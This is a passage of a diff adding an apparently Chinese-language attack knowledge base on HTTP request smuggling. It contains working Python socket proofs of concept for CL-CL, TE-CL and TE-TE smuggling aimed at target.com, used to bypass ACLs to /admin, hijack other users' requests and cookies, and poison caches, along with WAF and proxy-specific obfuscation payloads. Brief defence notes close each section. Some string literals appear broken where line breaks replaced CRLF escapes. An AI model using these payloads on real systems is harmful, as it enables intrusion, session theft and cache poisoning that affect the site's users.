+ smuggled = (
208
+ "GET /admin HTTP/1.1
209
+ "
210
+ f"Host: {host}
211
+ "
212
+ "
213
+ "
214
+ )
215
+ content_length_real = len(smuggled)
216
+
217
+ payload = (
218
+ "POST / HTTP/1.1
219
+ "
220
+ f"Host: {host}
221
+ "
222
+ f"Content-Length: {content_length_real}
223
+ "
224
+ "Content-Length: 0
225
+ "
226
+ "Connection: keep-alive
227
+ "
228
+ "
229
+ "
230
+ + smuggled
231
+ )
232
+
233
+ s = socket.socket()
234
+ s.connect((host, port))
235
+ s.send(payload.encode())
236
+ # 接收两个响应
237
+ resp = s.recv(8192).decode(errors="ignore")
238
+ print("[Response 1 - Normal]")
239
+ print(resp[:500])
240
+ resp2 = s.recv(8192).decode(errors="ignore")
241
+ print("[Response 2 - Smuggled /admin]")
242
+ print(resp2[:500])
243
+ s.close()
244
+
245
+ bypass_acl("target.com", 80)
246
+ ```
247
+ **语法解析:**
248
+ - `Connection: keep-alive` — 保持TCP连接复用,使走私请求能被后端处理 _value_
249
+ - `recv(8192)` — 接收两个HTTP响应,第二个是走私请求的结果 _command_
250
+
251
+ **WAF/EDR 绕过变体:**
252
+
253
+ **HTTP/2降级绕过**
254
+ > 利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私
255
+ ```
256
+ # HTTP/2 -> HTTP/1.1降级利用
257
+ # 前端H2后端H1时的走私
258
+ :method: POST
259
+ :path: /
260
+ :authority: target.com
261
+ content-length: 0
262
+
263
+ GET /admin HTTP/1.1
264
+ Host: target.com
265
+
266
+ # H2C升级走私
267
+ GET / HTTP/1.1
268
+ Host: target.com
269
+ Upgrade: h2c
270
+ HTTP2-Settings: <base64>
271
+ Connection: Upgrade, HTTP2-Settings
272
+ ```
273
+ **语法解析:**
274
+ - `# HTTP/2 -> HTTP/1.1降级利用` — 主要命令 _command_
275
+ - `...` — 共14行 _value_
276
+
277
+ **连接复用操控**
278
+ > 通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求
279
+ ```
280
+ # 双CL值差异
281
+ POST / HTTP/1.1
282
+ Host: target.com
283
+ Content-Length: 6
284
+ Content-Length: 50
285
+
286
+ 12345GPOST /admin HTTP/1.1
287
+ Host: target.com
288
+
289
+ # 利用keep-alive连接复用
290
+ GET / HTTP/1.1
291
+ Host: target.com
292
+ Connection: keep-alive
293
+ Content-Length: 0
294
+
295
+ GET /admin HTTP/1.1
296
+ Host: internal.target.com
297
+ ```
298
+ **语法解析:**
299
+ - `# 双CL值差异` — 主要命令 _command_
300
+ - `...` — 共14行 _value_
301
+
302
+ **代理链混淆**
303
+ > 利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私
304
+ ```
305
+ # 多级代理CL处理差异
306
+ POST / HTTP/1.1
307
+ Host: target.com
308
+ Content-Length: 44
309
+ Content-Length : 0
310
+
311
+ GET /admin HTTP/1.1
312
+ Host: target.com
313
+ X: 1
314
+
315
+ # 空格混淆CL头
316
+ POST / HTTP/1.1
317
+ Host: target.com
318
+ Content-Length: 0
319
+ Content-Length: 42
320
+
321
+ GET /internal HTTP/1.1
322
+ Host: target.com
323
+ ```
324
+ **语法解析:**
325
+ - `# 多级代理CL处理差异` — 主要命令 _command_
326
+ - `...` — 共15行 _value_
327
+
328
+
329
+ **概述:** CL-CL(Content-Length - Content-Length)走私发生在前端和后端对HTTP请求中多个Content-Length头的处理不一致时。RFC 7230规定不应接受包含多个CL的请求,但某些服务器实现选择了其中一个CL。如果前端使用第一个CL,后端使用第二个CL(或反之),攻击者可以将一个请求的body中注入第二个完整的HTTP请求。
330
+
331
+ **漏洞原理:** 前端代理和后端服务器在接收到包含多个Content-Length头的请求时,选择了不同的CL值。一方使用第一个CL读取请求体,另一方使用第二个CL,导致部分数据被当作下一个请求处理。
332
+
333
+ **利用方法:** 利用流程:1) 确认前端-后端架构 2) 发送双CL请求检测差异 3) 构造走私payload将恶意请求注入后端队列 4) 利用走私绕过ACL/WAF访问受限资源 5) 可能进一步实现请求劫持/缓存投毒
334
+
335
+ **防御措施:** 1) RFC合规:拒绝包含多个Content-Length的请求(返回400) 2) 前端和后端统一CL解析逻辑 3) 使用HTTP/2端到端 4) 前端规范化请求后转发 5) 禁用Connection: keep-alive的TCP复用
336
+
337
+ ---
338
+
339
+ ### TE-CL走私 `smuggling-te-cl`
340
+ _利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私_
341
+ 子类:**TE-CL** · tags: `smuggling` `te-cl` `http`
342
+
343
+ **前置条件:**
344
+ - 前端代理优先处理Transfer-Encoding
345
+ - 后端服务器优先处理Content-Length
346
+ - 理解chunked编码格式
347
+
348
+ **攻击链:**
349
+
350
+ **检测TE-CL差异**
351
+ > 检测前端和后端对TE vs CL的优先级差异
352
+ ```
353
+ # 发送同时包含TE和CL的请求:
354
+ curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
355
+
356
+ "
357
+
358
+ # 使用timing检测:
359
+ # 如果后端使用CL,会等待更多数据(超时)
360
+ import socket, time
361
+
362
+ s = socket.socket()
363
+ s.connect(("target.com", 80))
364
+ payload = (
365
+ "POST / HTTP/1.1
366
+ "
367
+ "Host: target.com
368
+ "
369
+ "Transfer-Encoding: chunked
370
+ "
371
+ "Content-Length: 6
372
+ "
373
+ "
374
+ "
375
+ "0
376
+
377
+ "
378
+ )
379
+ s.send(payload.encode())
380
+ start = time.time()
381
+ resp = s.recv(4096)
382
+ elapsed = time.time() - start
383
+ print(f"Response in {elapsed:.2f}s")
384
+ # 快速响应=后端用TE, 延迟响应=后端用CL
385
+ ```
386
+ **语法解析:**
387
+ - `Transfer-Encoding: chunked` — 分块传输编码,前端优先使用 _value_
388
+ - `Content-Length: 6` — 后端可能使用CL来确定body长度 _value_
389
+ - `0
390
+
391
+ ` — chunked编码的终止块(0长度) _value_
392
+
393
+ **TE-CL走私POC**
394
+ > TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求
395
+ ```
396
+ import socket
397
+
398
+ def te_cl_smuggle(host, port):
399
+ # 前端(TE): 读取到"0
400
+
401
+ "结束 → 整个payload是一个请求
402
+ # 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
403
+
404
+ smuggled = "GET /admin HTTP/1.1
405
+ Host: {}
406
+
407
+ ".format(host)
408
+
409
+ payload = (
410
+ "POST / HTTP/1.1
411
+ "
412
+ "Host: {}
413
+ "
414
+ "Content-Length: 4
415
+ "
416
+ "Transfer-Encoding: chunked
417
+ "
418
+ "
419
+ "
420
+ "{}
421
+ "
422
+ "{}"
423
+ "0
424
+
425
+ "
426
+ ).format(host, format(len(smuggled), "x"), smuggled)
427
+
428
+ s = socket.socket()
429
+ s.connect((host, port))
430
+ s.send(payload.encode())
431
+ resp = s.recv(4096)
432
+ print(resp.decode(errors="ignore")[:500])
433
+ s.close()
434
+
435
+ te_cl_smuggle("target.com", 80)
436
+ ```
437
+ **语法解析:**
438
+ - `format(len(smuggled), "x")` — 将走私请求长度转为十六进制(chunked格式) _command_
439
+ - `Content-Length: 4` — 后端只读取4字节,剩余数据成为下一个请求 _value_
440
+
441
+ **TE-CL走私实现请求劫持**
442
+ > 走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中
443
+ ```
444
+ # 利用走私劫持下一个用户的请求
445
+ import socket
446
+
447
+ def hijack_request(host, port):
448
+ # 走私一个不完整的POST请求
449
+ # 下一个正常用户的请求会被拼接为这个POST的body
450
+ smuggled = (
451
+ "POST /search HTTP/1.1
452
+ "
453
+ "Host: {}
454
+ "
455
+ "Content-Type: application/x-www-form-urlencoded
456
+ "
457
+ "Content-Length: 200
458
+ " # 大CL会吞噬下一个请求
459
+ "
460
+ "
461
+ "q=" # 下一个请求的数据会被当作搜索参数
462
+ ).format(host)
463
+
464
+ chunk_size = format(len(smuggled), "x")
465
+ payload = (
466
+ "POST / HTTP/1.1
467
+ "
468
+ "Host: {}
469
+ "
470
+ "Content-Length: 4
471
+ "
472
+ "Transfer-Encoding: chunked
473
+ "
474
+ "
475
+ "
476
+ "{}
477
+ "
478
+ "{}"
479
+ "0
480
+
481
+ "
482
+ ).format(host, chunk_size, smuggled)
483
+
484
+ s = socket.socket()
485
+ s.connect((host, port))
486
+ s.send(payload.encode())
487
+ print(s.recv(4096).decode(errors="ignore")[:500])
488
+ s.close()
489
+
490
+ hijack_request("target.com", 80)
491
+ ```
492
+ **语法解析:**
493
+ - `Content-Length: 200` — 故意设置大CL,"吞噬"下一个请求的头部 _value_
494
+ - `q=` — 下一个用户的请求数据被拼接到搜索参数中 _value_
495
+
496
+ **WAF/EDR 绕过变体:**
497
+
498
+ **TE头大小写变体绕过**
499
+ > 利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测
500
+ ```
501
+ # TE头大小写混淆
502
+ POST / HTTP/1.1
503
+ Host: target.com
504
+ Content-Length: 4
505
+ Transfer-Encoding: chunked
506
+ Transfer-encoding: identity
507
+
508
+ 5c
509
+ GPOST /admin HTTP/1.1
510
+ Content-Type: application/x-www-form-urlencoded
511
+ Content-Length: 15
512
+
513
+ x=1
514
+ 0
515
+
516
+
517
+ # Transfer-Encoding变体
518
+ Transfer-Encoding: xchunked
519
+ Transfer-Encoding : chunked
520
+ Transfer-Encoding: chunked
521
+ Transfer-Encoding: x
522
+ ```
523
+ **语法解析:**
524
+ - `# TE头大小写混淆` — 主要命令 _command_
525
+ - `...` — 共17行 _value_
526
+
527
+ **空白字符注入**
528
+ > 在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同
529
+ ```
530
+ # 制表符/换行注入TE头
531
+ POST / HTTP/1.1
532
+ Host: target.com
533
+ Content-Length: 4
534
+ Transfer-Encoding:\tchunked
535
+
536
+ # 行前空格混淆
537
+ POST / HTTP/1.1
538
+ Host: target.com
539
+ Content-Length: 4
540
+ Transfer-Encoding: chunked
541
+
542
+ # CRLF注入变体
543
+ POST / HTTP/1.1
544
+ Host: target.com
545
+ Content-Length: 4
546
+ Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
547
+ ```
548
+ **语法解析:**
549
+ - `# 制表符/换行注入TE头` — 主要命令 _command_
550
+ - `...` — 共15行 _value_
551
+
552
+ **chunk扩展字段利用**
553
+ > 利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异
554
+ ```
555
+ # chunk扩展混淆
556
+ POST / HTTP/1.1
557
+ Host: target.com
558
+ Content-Length: 4
559
+ Transfer-Encoding: chunked
560
+
561
+ 5;ext=val
562
+ hello
563
+ 0
564
+
565
+
566
+ # 超长chunk扩展
567
+ 5;aaaaaaa...aaaa=bbbb...bbb
568
+ hello
569
+ 0
570
+
571
+
572
+ # 非法chunk大小格式
573
+ 5
574
+ hello
575
+ 0
576
+
577
+
578
+ # 0x前缀
579
+ 0x5
580
+ hello
581
+ 0
582
+ ```
583
+ **语法解析:**
584
+ - `# chunk扩展混淆` — 主要命令 _command_
585
+ - `...` — 共20行 _value_
586
+
587
+
588
+ **概述:** TE-CL走私发生在前端代理优先处理Transfer-Encoding(chunked)而后端服务器优先处理Content-Length时。前端按chunked编码将完整数据转发给后端,但后端只读取CL指定的字节数,多余的数据被留在TCP缓冲区中,被当作下一个独立请求处理。
589
+
590
+ **漏洞原理:** 前端和后端对同时存在的Transfer-Encoding和Content-Length的优先级处理不一致。RFC 7230规定存在TE时应忽略CL,但部分后端实现优先使用CL。
591
+
592
+ **利用方法:** 利用流程:1) 检测TE vs CL优先级差异 2) 构造同时包含TE和CL的请求 3) 前端按TE转发完整请求 4) 后端按CL截断,剩余数据成为走私请求 5) 走私请求绕过ACL/WAF或劫持其他用户请求
593
+
594
+ **防御措施:** 1) 统一前后端的TE/CL优先级 2) 拒绝同时包含TE和CL的请求 3) 使用HTTP/2 4) 禁用后端的TCP连接复用 5) 前端在转发前规范化请求
595
+
596
+ ---
597
+
598
+ ### TE-TE走私 `smuggling-te-te`
599
+ _利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私_
600
+ 子类:**TE-TE** · tags: `smuggling` `te-te` `http`
601
+
602
+ **前置条件:**
603
+ - 前后端都支持Transfer-Encoding
604
+ - 可以通过TE头混淆使一端忽略TE
605
+ - 了解chunked编码和HTTP走私原理
606
+
607
+ **攻击链:**
608
+
609
+ **TE混淆变体探测**
610
+ > 测试各种Transfer-Encoding混淆变体,寻找前后端解析差异
611
+ ```
612
+ # Transfer-Encoding的各种混淆写法:
613
+ # 测试哪种混淆能让一端忽略TE
614
+ import socket
615
+
616
+ te_variants = [
617
+ "Transfer-Encoding: xchunked",
618
+ "Transfer-Encoding : chunked", # 冒号前空格
619
+ "Transfer-Encoding: chunked
620
+ Transfer-encoding: cow", # 两个TE
621
+ "Transfer-Encoding : chunked", # Tab分隔
622
+ "Transfer-Encoding: chunked", # Tab前缀
623
+ " Transfer-Encoding: chunked", # 行首空格
624
+ "X: x
625
+ Transfer-Encoding: chunked", # Header注入
626
+ "Transfer-Encoding: chunked", # 空字节
627
+ ]
628
+
629
+ for i, te in enumerate(te_variants):
630
+ print(f"[{i}] Testing: {te[:60]}")
631
+ payload = (
632
+ "POST / HTTP/1.1
633
+ "
634
+ "Host: target.com
635
+ "
636
+ f"{te}
637
+ "
638
+ "Content-Length: 5
639
+ "
640
+ "
641
+ "
642
+ "0
643
+
644
+ "
645
+ )
646
+ try:
647
+ s = socket.socket()
648
+ s.settimeout(3)
649
+ s.connect(("target.com", 80))
650
+ s.send(payload.encode())
651
+ resp = s.recv(1024).decode(errors="ignore")
652
+ status = resp.split("
653
+ ")[0] if resp else "No response"
654
+ print(f" → {status}")
655
+ s.close()
656
+ except Exception as e:
657
+ print(f" → Error: {e}")
658
+ ```
659
+ **语法解析:**
660
+ - `Transfer-Encoding: xchunked` — 无效TE值,某些服务器可能忽略 _value_
661
+ - `Transfer-Encoding : chunked` — 冒号前加空格,可能导致解析差异 _value_
662
+ - `Transfer-encoding: cow` — 第二个TE头覆盖为无效值 _value_
663
+
664
+ **TE-TE走私利用(前端忽略混淆TE)**
665
+ > 利用TE头混淆使一端按CL、另一端按TE处理,实现走私
666
+ ```
667
+ import socket
668
+
669
+ def te_te_smuggle(host, port, te_header):
670
+ # 前端不识别混淆的TE → 使用CL
671
+ # 后端识别混淆的TE → 使用chunked
672
+
673
+ smuggled = "GET /admin HTTP/1.1
674
+ Host: {}
675
+
676
+ ".format(host)
677
+
678
+ payload = (
679
+ "POST / HTTP/1.1
680
+ "
681
+ "Host: {}
682
+ "
683
+ "Content-Length: {}
684
+ "
685
+ "{}
686
+ "
687
+ "
688
+ "
689
+ "0
690
+ "
691
+ "
692
+ "
693
+ "{}"
694
+ ).format(
695
+ host,
696
+ len("0
697
+
698
+ " + smuggled),
699
+ te_header,
700
+ smuggled
701
+ )
702
+
703
+ s = socket.socket()
704
+ s.connect((host, port))
705
+ s.send(payload.encode())
706
+ resp = s.recv(4096)
707
+ print(resp.decode(errors="ignore")[:500])
708
+ s.close()
709
+
710
+ # 使用发现的有效混淆变体:
711
+ te_te_smuggle("target.com", 80, "Transfer-Encoding: chunked
712
+ Transfer-encoding: cow")
713
+ ```
714
+ **语法解析:**
715
+ - `Transfer-encoding: cow` — 混淆TE值,使一端降级为使用CL _value_
716
+
717
+ **TE-TE缓存投毒攻击**
718
+ > 利用TE-TE走私实现Web缓存投毒攻击
719
+ ```
720
+ import socket
721
+
722
+ def cache_poison_via_smuggling(host, port):
723
+ # 通过走私实现缓存投毒:
724
+ # 走私的请求指向静态资源,但包含恶意响应头/内容
725
+
726
+ smuggled = (
727
+ "GET /static/main.js HTTP/1.1
728
+ "
729
+ "Host: {}
730
+ "
731
+ "
732
+ "
733
+ ).format(host)
734
+
735
+ # 先发送走私请求
736
+ payload = (
737
+ "POST / HTTP/1.1
738
+ "
739
+ "Host: {}
740
+ "
741
+ "Content-Length: {}
742
+ "
743
+ "Transfer-Encoding: chunked
744
+ "
745
+ "Transfer-encoding: x
746
+ "
747
+ "
748
+ "
749
+ "0
750
+ "
751
+ "
752
+ "
753
+ "{}"
754
+ ).format(host, len("0
755
+
756
+ " + smuggled), smuggled)
757
+
758
+ s = socket.socket()
759
+ s.connect((host, port))
760
+ s.send(payload.encode())
761
+ resp = s.recv(4096)
762
+ print("[*] Cache poisoned")
763
+ print(resp.decode(errors="ignore")[:300])
764
+ s.close()
765
+
766
+ cache_poison_via_smuggling("target.com", 80)
767
+ ```
768
+ **语法解析:**
769
+ - `/static/main.js` — 目标静态资源URL,投毒后影响所有访问者 _value_
770
+ - `Transfer-encoding: x` — 无效TE值混淆,使前端降级到CL解析 _value_
771
+
772
+ **WAF/EDR 绕过变体:**
773
+
774
+ **多重TE头混淆**
775
+ > 发送多个Transfer-Encoding头或逗号分隔多值,利用前后端对多值TE头的优先级差异
776
+ ```
777
+ # 多个Transfer-Encoding头
778
+ POST / HTTP/1.1
779
+ Host: target.com
780
+ Transfer-Encoding: chunked
781
+ Transfer-Encoding: identity
782
+ Transfer-Encoding: chunked
783
+
784
+ # 逗号分隔多值
785
+ Transfer-Encoding: chunked, identity
786
+ Transfer-Encoding: identity, chunked
787
+
788
+ # 混合有效无效值
789
+ Transfer-Encoding: chunked
790
+ Transfer-Encoding: cow
791
+ Transfer-Encoding: chunked
792
+ ```
793
+ **语法解析:**
794
+ - `# 多个Transfer-Encoding头` — 主要命令 _command_
795
+ - `...` — 共13行 _value_
796
+
797
+ **非标准TE值混淆**
798
+ > 使用非标准或被篡改的Transfer-Encoding值,使前端代理回退到CL而后端仍解析为chunked
799
+ ```
800
+ # 垃圾TE值使某些代理忽略TE
801
+ Transfer-Encoding: xchunked
802
+ Transfer-Encoding: chunked-false
803
+ Transfer-Encoding: chunk
804
+ Transfer-Encoding: CHUNKED
805
+
806
+ # 引号包裹
807
+ Transfer-Encoding: "chunked"
808
+
809
+ # 参数附加
810
+ Transfer-Encoding: chunked; q=0.5
811
+ Transfer-Encoding: chunked, x
812
+
813
+ # 编码混淆
814
+ Transfer-\x45ncoding: chunked
815
+ ```
816
+ **语法解析:**
817
+ - `# 垃圾TE值使某些代理忽略TE` — 主要命令 _command_
818
+ - `...` — 共12行 _value_
819
+
820
+ **代理特定解析绕过**
821
+ > 针对特定代理/服务器(HAProxy/Apache/Nginx)的TE头解析特性发送定制化走私payload
822
+ ```
823
+ # HAProxy特定绕过
824
+ POST / HTTP/1.1
825
+ Host: target.com
826
+ Transfer-Encoding:[\x0b]chunked
827
+
828
+ # Apache特定绕过
829
+ POST / HTTP/1.1
830
+ Host: target.com
831
+ Transfer-Encoding:\x00chunked
832
+
833
+ # Nginx特定绕过
834
+ POST / HTTP/1.1
835
+ Host: target.com
836
+ Transfer-Encoding: chunked\x20
837
+
838
+ # 通用尾部空白
839
+ Transfer-Encoding: chunked
840
+ ```
841
+ **语法解析:**
842
+ - `# HAProxy特定绕过` — 主要命令 _command_
843
+ - `...` — 共14行 _value_
844
+
845
+
846
+ **概述:** TE-TE走私发生在前端和后端都支持Transfer-Encoding但对其混淆变体的处理不同时。攻击者通过修改TE头的格式(大小写混合、特殊字符、多个TE头等),使一端识别TE(按chunked处理)而另一端不识别(降级为CL处理),从而产生解析差异实现走私。
847
+
848
+ **漏洞原理:** 服务器对Transfer-Encoding头的非标准格式处理不一致:一方严格匹配"chunked"关键字(混淆后不识别),另一方宽松解析(混淆后仍识别)。
849
+
850
+ **利用方法:** 利用流程:1) 枚举各种TE混淆变体 2) 找到使前后端解析不一致的变体 3) 构造走私payload 4) 利用走私绕过安全控制或劫持请求/投毒缓存
851
+
852
+ **防御措施:** 1) 严格规范化TE头处理 2) 拒绝非标准格式的TE头 3) 前后端统一HTTP解析逻辑 4) 使用HTTP/2消除走私风险 5) 部署请求走私检测规则
853
+
854
+ ---